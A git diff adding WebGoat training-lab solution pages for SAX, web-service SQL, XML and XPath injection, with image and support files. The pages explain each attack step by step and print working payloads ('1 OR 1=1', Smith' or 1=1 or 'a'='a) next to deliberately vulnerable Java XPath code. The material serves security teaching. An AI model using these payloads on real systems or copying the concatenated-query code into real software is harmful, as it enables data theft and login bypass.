diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image007.png b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image007.png
new file mode 100644
index 000000000..a34c6751c
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image007.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image010.png b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image010.png
new file mode 100644
index 000000000..0c6fe9313
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image010.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image012.png b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image012.png
new file mode 100644
index 000000000..46b787813
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image012.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image014.png b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image014.png
new file mode 100644
index 000000000..bde7fd0bd
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image014.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image016.png b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image016.png
new file mode 100644
index 000000000..d25bc4167
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image016.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image018.png b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image018.png
new file mode 100644
index 000000000..bb0344681
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image018.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image020.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image020.jpg
new file mode 100644
index 000000000..b825cea5d
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image020.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image021.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image021.jpg
new file mode 100644
index 000000000..a7fd9b516
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image021.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image022.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image022.jpg
new file mode 100644
index 000000000..b38898623
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image022.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image023.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image023.jpg
new file mode 100644
index 000000000..0c3616032
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image023.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image024.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image024.jpg
new file mode 100644
index 000000000..632ca5835
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image024.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image025.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image025.jpg
new file mode 100644
index 000000000..0ab015bbb
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image025.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image026.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image026.jpg
new file mode 100644
index 000000000..bc5a7fe32
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image026.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image027.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image027.jpg
new file mode 100644
index 000000000..7bbdb5f09
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image027.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image028.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image028.jpg
new file mode 100644
index 000000000..4530c95f9
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image028.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image029.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image029.jpg
new file mode 100644
index 000000000..112d5259b
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image029.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/themedata.thmx b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/themedata.thmx
new file mode 100644
index 000000000..55426d8ec
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/themedata.thmx differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WsSAXInjection.html b/webgoat-5.4/src/main/webapp/lesson_solutions/WsSAXInjection.html
new file mode 100644
index 000000000..c5e854290
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/WsSAXInjection.html
@@ -0,0 +1,917 @@
+
+
+
+
+
+
+
+Solution: Web Service SAX Injection
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Lesson Plan Title: How to Perform Web Service SAX
+Injection
+
+
+
+
Concept / Topic To Teach:
+
+
+
+
Web Services
+communicate through the use of SOAP requests. These requests are submitted to a
+web service in an attempt to execute a function defined in the web service
+definition language (WSDL) file.
+
+
+
+
General Goal(s):
+
+
Some web
+interfaces make use of Web Services in the background. If the frontend relies
+on the web service for all input validation, it may be possible to corrupt the
+XML that the web interface sends.
+
+
+
+
In this
+exercise, try to change the password for a user other than 101.
+
+
+
+
+
+
+
+
Solution:
+
+
+
+
To succeed
+this lesson it is required to reset the password of the user with a different
+user-ID then 101 (which is your user-ID)
+
+
.
+
+
When you fill
+out a password and click on "Go!" the following XML request will be created,
+submit and parsed by the SAX parser:
SAX parsers will parse anything that
+is well-formed, meaning that there are matching end and close tags and that the
+schema is correct. When you are able to add a new changePAssword element with
+corresponding id tag and password tag, the SAX parser will be more than happy
+to change the password for the user-ID provided.
+
+
So you need to have something like
+this as a final result:
There are field-limitations in the
+HTML input field, so it is required to intercept the HTTP Request with
+WebScarab and replace the parameter password with the payload.
+
+
+
+
Enter a password 'test' and click
+"Go!".
+
+
+
+
Figure
+113 Reset password with test
+
+
+
+
Intercept the request in WebScarab and
+replace the string test with the payload.
+
+
+
+
+
+
Figure
+114 Intercept request
+
+
+
+
+
+
Figure
+115 Inject XML payload
+
+
+
+
+
+
Figure
+116 Lesson completed
+
+
+
+
+
+
+
+
+
+ Solution by Erwin Geirnaert
+
+
+
+
+
+
+
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WsSAXInjection_files/colorschememapping.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/WsSAXInjection_files/colorschememapping.xml
new file mode 100644
index 000000000..b200daa38
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/WsSAXInjection_files/colorschememapping.xml
@@ -0,0 +1,2 @@
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WsSAXInjection_files/filelist.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/WsSAXInjection_files/filelist.xml
new file mode 100644
index 000000000..56559fd6d
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/WsSAXInjection_files/filelist.xml
@@ -0,0 +1,16 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WsSAXInjection_files/image001.png b/webgoat-5.4/src/main/webapp/lesson_solutions/WsSAXInjection_files/image001.png
new file mode 100644
index 000000000..ba76d14d9
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WsSAXInjection_files/image001.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WsSAXInjection_files/image002.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/WsSAXInjection_files/image002.jpg
new file mode 100644
index 000000000..24692deda
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WsSAXInjection_files/image002.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WsSAXInjection_files/image003.png b/webgoat-5.4/src/main/webapp/lesson_solutions/WsSAXInjection_files/image003.png
new file mode 100644
index 000000000..be045e27f
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WsSAXInjection_files/image003.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WsSAXInjection_files/image004.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/WsSAXInjection_files/image004.jpg
new file mode 100644
index 000000000..c6698ffba
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WsSAXInjection_files/image004.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WsSAXInjection_files/image005.png b/webgoat-5.4/src/main/webapp/lesson_solutions/WsSAXInjection_files/image005.png
new file mode 100644
index 000000000..84e5ff852
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WsSAXInjection_files/image005.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WsSAXInjection_files/image006.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/WsSAXInjection_files/image006.jpg
new file mode 100644
index 000000000..40dcd7832
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WsSAXInjection_files/image006.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WsSAXInjection_files/image007.png b/webgoat-5.4/src/main/webapp/lesson_solutions/WsSAXInjection_files/image007.png
new file mode 100644
index 000000000..94b298db1
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WsSAXInjection_files/image007.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WsSAXInjection_files/image008.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/WsSAXInjection_files/image008.jpg
new file mode 100644
index 000000000..9faeaaac1
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WsSAXInjection_files/image008.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WsSAXInjection_files/image009.png b/webgoat-5.4/src/main/webapp/lesson_solutions/WsSAXInjection_files/image009.png
new file mode 100644
index 000000000..acdfd2592
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WsSAXInjection_files/image009.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WsSAXInjection_files/image010.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/WsSAXInjection_files/image010.jpg
new file mode 100644
index 000000000..ad7400d38
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WsSAXInjection_files/image010.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WsSAXInjection_files/themedata.thmx b/webgoat-5.4/src/main/webapp/lesson_solutions/WsSAXInjection_files/themedata.thmx
new file mode 100644
index 000000000..55426d8ec
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WsSAXInjection_files/themedata.thmx differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WsSqlInjection.html b/webgoat-5.4/src/main/webapp/lesson_solutions/WsSqlInjection.html
new file mode 100644
index 000000000..c9423fcdc
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/WsSqlInjection.html
@@ -0,0 +1,767 @@
+
+
+
+
+
+
+
+Solution: Web Service SQL Injection
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Lesson
+Plan Title: How to
+Perform Web Service SQL Injection
+
+
+
+
Concept /
+Topic To Teach:
+
+
Web
+Services communicate through the use of SOAP requests. These requests are
+submitted to a web service in an attempt to execute a function defined in the
+web service definition language (WSDL) file.
+
+
+
+
General
+Goal(s):
+
+
Check the web
+service description language (WSDL) file and try to obtain multiple customer
+credit card numbers. You will not see the results returned to this screen. When
+you believe you have suceeded, refresh the page and look for the 'green star'.
+
+
Solution:
+
+
+
+
This lesson
+can be solved easily by using a web services tool called SOAPUI. But here you
+will only use WebScarab. Go in WebScarab to the tab "Web Services". You will
+see a history of invoked web services or WSDL files.
+
+
+
+
+
+
Figure 1 Lesson 23
+
+
+
+
Open the
+WebGoat WSDL file for this lesson (WsSqlInjection?WSDL) in a new window.
+
+
+
+
In WebScarab
+you can select this WSDL from the top drop-down box. And WebScarab will parse
+the XML file so you can select the operations to invoke. Then you can enter a
+value for the parameters used to invoke the operation. For example fill out the
+integer 101 for the ID value and click "Execute". WebScarab will pop-up a basic
+authentication window. Enter username:guest, password:guest and host:localhost then click "Ok".
+If the pop-up does not appear you have to go to "Tools" > "Credentials". There you should activate "Ask when required".
+
+
+
+
+
+
Figure 2 Basic authentication
+
+
+
+
+
+
Figure 3 Webservice Response
+
+
+
+
What happens
+if you change 101 to 1 OR 1=1? Will you get all the credit cards?
+
+
Yes J
+
+
+
+
+
+
Figure 4 All the credit cards
+
+
+
+
Remark: when you don't get any responses you
+might want to select the service and operation again from the drop-down box. A nice
+feature here would be the ability to make a raw SOAP request.
+
+
+
+
+
+
+
+ Solution by Erwin Geirnaert
+
+
+
+
+
+
+
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WsSqlInjection_files/colorschememapping.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/WsSqlInjection_files/colorschememapping.xml
new file mode 100644
index 000000000..b200daa38
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/WsSqlInjection_files/colorschememapping.xml
@@ -0,0 +1,2 @@
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WsSqlInjection_files/filelist.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/WsSqlInjection_files/filelist.xml
new file mode 100644
index 000000000..2596e1075
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/WsSqlInjection_files/filelist.xml
@@ -0,0 +1,14 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WsSqlInjection_files/image001.png b/webgoat-5.4/src/main/webapp/lesson_solutions/WsSqlInjection_files/image001.png
new file mode 100644
index 000000000..82abbd808
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WsSqlInjection_files/image001.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WsSqlInjection_files/image002.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/WsSqlInjection_files/image002.jpg
new file mode 100644
index 000000000..60c86b971
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WsSqlInjection_files/image002.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WsSqlInjection_files/image003.png b/webgoat-5.4/src/main/webapp/lesson_solutions/WsSqlInjection_files/image003.png
new file mode 100644
index 000000000..e658bb1b9
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WsSqlInjection_files/image003.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WsSqlInjection_files/image004.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/WsSqlInjection_files/image004.jpg
new file mode 100644
index 000000000..cb476bc0d
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WsSqlInjection_files/image004.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WsSqlInjection_files/image005.png b/webgoat-5.4/src/main/webapp/lesson_solutions/WsSqlInjection_files/image005.png
new file mode 100644
index 000000000..d1db6bcb8
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WsSqlInjection_files/image005.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WsSqlInjection_files/image006.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/WsSqlInjection_files/image006.jpg
new file mode 100644
index 000000000..f3e91d5e9
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WsSqlInjection_files/image006.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WsSqlInjection_files/image007.png b/webgoat-5.4/src/main/webapp/lesson_solutions/WsSqlInjection_files/image007.png
new file mode 100644
index 000000000..d3bd79b6b
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WsSqlInjection_files/image007.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WsSqlInjection_files/image008.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/WsSqlInjection_files/image008.jpg
new file mode 100644
index 000000000..50c57e172
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WsSqlInjection_files/image008.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WsSqlInjection_files/themedata.thmx b/webgoat-5.4/src/main/webapp/lesson_solutions/WsSqlInjection_files/themedata.thmx
new file mode 100644
index 000000000..55426d8ec
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WsSqlInjection_files/themedata.thmx differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection.html b/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection.html
new file mode 100644
index 000000000..6bfd82437
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection.html
@@ -0,0 +1,862 @@
+
+
+
+
+
+
+
+Solution: XML Injection
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Lesson
+Plan Title: How to
+Perform XML Injection Attacks.
+
+
+
+
Concept /
+Topic To Teach:
+
+
This lesson
+teaches how to perform XML Injection attacks.
+
+
+
+
How the
+attacks works:
+
+
AJAX applications
+use XML to exchange information with the server. This XML can be easily
+intercepted and altered by a malicious attacker.
+
+
+
+
General
+Goal(s):
+
+
WebGoat-Miles
+Reward Miles shows all the rewards available. Once you've entered your account
+ID, the lesson will show you your balance and the products you can afford. Your
+goal is to try to add more rewards to your allowed set of rewards. Your account
+ID is 836239.
+
+
+
+
+
+
Figure 1 AJAX Security - XML Injection
+
+
+
+
Solution:
+
+
+
+
To understand
+the behavior of the AJAX application, enter your account number 836239 and
+intercept the HTTP Request and HTTP Response using WebScarab.
+
+
+
+
+
+
Figure 2 Enter account number
+
+
+
+
+
+
Figure 3 Intercepted HTTP Request
+
+
+
+
+
+
Figure 4 Intercepted HTTP Response
+
+
+
+
From the HTTP Response you can see that you get back an XML
+message with the rewards for your account:
+
+
+
+
<root>
+
+
<reward>WebGoat t-shirt 20 Pts</reward>
+
+
<reward>WebGoat Secure Kettle 50 Pts</reward>
+
+
<reward>WebGoat Mug 30 Pts</reward>
+
+
</root>
+
+
+
+
What happens if you intercept this HTTP Response and update
+the XML message to become:
+
+
+
+
<root>
+
+
<reward>WebGoat t-shirt 20 Pts</reward>
+
+
<reward>WebGoat Secure Kettle 50 Pts</reward>
+
+
<reward>WebGoat Mug 30 Pts</reward>
+
+
<reward>WebGoat Core Duo Laptop 2000
+Pts</reward>
+
+
<reward>WebGoat Hawaii Cruise 3000 Pts</reward>
+
+
</root>
+
+
+
+
+
+
Figure 5 Changed XML response
+
+
+
+
You need to
+do this three times!
+
+
+
+
+
+
Figure 6 Injected XML results
+
+
+
+
+
+
Figure 7 Select your reward
+
+
+
+
Select the
+Laptop and the Cruise and click "Submit".
+
+
+
+
+
+
Figure 8 Lesson completed
+
+
+
+
+
+
+
+ Solution by Erwin Geirnaert
+
+
+
+
+
+
+
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection_files/colorschememapping.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection_files/colorschememapping.xml
new file mode 100644
index 000000000..b200daa38
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection_files/colorschememapping.xml
@@ -0,0 +1,2 @@
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection_files/filelist.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection_files/filelist.xml
new file mode 100644
index 000000000..91acaa646
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection_files/filelist.xml
@@ -0,0 +1,22 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection_files/image001.png b/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection_files/image001.png
new file mode 100644
index 000000000..b32e9194e
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection_files/image001.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection_files/image003.png b/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection_files/image003.png
new file mode 100644
index 000000000..f0de7feb1
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection_files/image003.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection_files/image005.png b/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection_files/image005.png
new file mode 100644
index 000000000..d2589d1b8
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection_files/image005.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection_files/image007.png b/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection_files/image007.png
new file mode 100644
index 000000000..d2489a851
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection_files/image007.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection_files/image009.png b/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection_files/image009.png
new file mode 100644
index 000000000..c2b095cd1
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection_files/image009.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection_files/image011.png b/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection_files/image011.png
new file mode 100644
index 000000000..e316c46cb
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection_files/image011.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection_files/image013.png b/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection_files/image013.png
new file mode 100644
index 000000000..2c485734d
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection_files/image013.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection_files/image015.png b/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection_files/image015.png
new file mode 100644
index 000000000..f59f4c79b
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection_files/image015.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection_files/image017.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection_files/image017.jpg
new file mode 100644
index 000000000..5cde78c29
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection_files/image017.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection_files/image018.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection_files/image018.jpg
new file mode 100644
index 000000000..50a020099
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection_files/image018.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection_files/image019.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection_files/image019.jpg
new file mode 100644
index 000000000..3ec8d20a1
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection_files/image019.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection_files/image020.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection_files/image020.jpg
new file mode 100644
index 000000000..3181beb41
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection_files/image020.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection_files/image021.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection_files/image021.jpg
new file mode 100644
index 000000000..164e97f7d
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection_files/image021.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection_files/image022.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection_files/image022.jpg
new file mode 100644
index 000000000..155301a55
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection_files/image022.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection_files/image023.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection_files/image023.jpg
new file mode 100644
index 000000000..3ed684669
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection_files/image023.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection_files/image024.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection_files/image024.jpg
new file mode 100644
index 000000000..00a8ad33b
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection_files/image024.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection_files/themedata.thmx b/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection_files/themedata.thmx
new file mode 100644
index 000000000..55426d8ec
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/XMLInjection_files/themedata.thmx differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/XPATHInjection.html b/webgoat-5.4/src/main/webapp/lesson_solutions/XPATHInjection.html
new file mode 100644
index 000000000..09208cf6d
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/XPATHInjection.html
@@ -0,0 +1,788 @@
+
+
+
+
+
+
+
+Solution: XPATH Injection
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Lesson
+Plan Title: How to
+Perform XPATH Injection Attacks.
+
+
+
+
Concept /
+Topic To Teach:
+
+
This lesson
+teaches how to perform XPath Injection attacks.
+
+
+
+
How the
+attacks works:
+
+
Similar to SQL
+Injection, XPATH Injection attacks occur when a web site uses user supplied
+information to query XML data. By sending intentionally malformed information
+into the web site, an attacker can find out how the XML data is structured or
+access data that they may not normally have access to. They may even be able to
+elevate their privileges on the web site if the xml data is being used for
+authentication (such as an xml based user file). Querying XML is done with
+XPath, a type of simple descriptive statement that allows the xml query to
+locate a piece of information. Like SQL you can specify certain attributes to
+find and patterns to match. When using XML for a web site it is common to
+accept some form of input on the query string to identify the content to locate
+and display on the page. This input must be sanitized to verify that it doesn't
+mess up the XPath query and return the wrong data.
+
+
+
+
General
+Goal(s):
+
+
The
+form below allows employees to see all their personal data including their
+salaries. Your account is Mike/test123. Your goal is to try to see other
+employees data as well.
+
+
+
+
+
+
Figure 1 XPath Injection
+
+
+
+
XPath injection is similar to SQL Injection. Input is not validated and
+used to create a XPath query. Here you can see how the XPATH query is built:
+
+String dir = s.getContext().getRealPath("/lessons/XPATHInjection/EmployeesData.xml");
+File d = new File(dir);
+XPathFactory factory = XPathFactory.newInstance();
+XPath xPath = factory.newXPath();
+InputSource inputSource = new InputSource(new FileInputStream(d));
+String expression = "/employees/employee[loginID/text()='" + username + "' and passwd/text()='" + password + "']";
+nodes = (NodeList) xPath.evaluate(expression, inputSource, XPathConstants.NODESET);
+
+
+
+
+
+
+
+
Figure 2 Inject XPath payload
+
+
+Injecting Smith' or 1=1 or 'a'='a will log you on
+as the first user defined in the system. Password is a required field, so there
+you can enter whatever you want.
+This is what the server gets:
+expression = "/employees/employee[loginID/text()='Smith' or 1=1 or 'a'='a' and passwd/text()='password']"
+And this is how the server interprets it:
+expression = "/employees/employee[ ( loginID/text()='Smith' or 1=1 ) OR ( 'a'='a' and passwd/text()='password' ) ]"
+
+
+
+
+
Figure 3 Lesson completed
+
+
+
+
+
+
+
+ Solution by Erwin Geirnaert
+
+
+
+
+
+
+
+
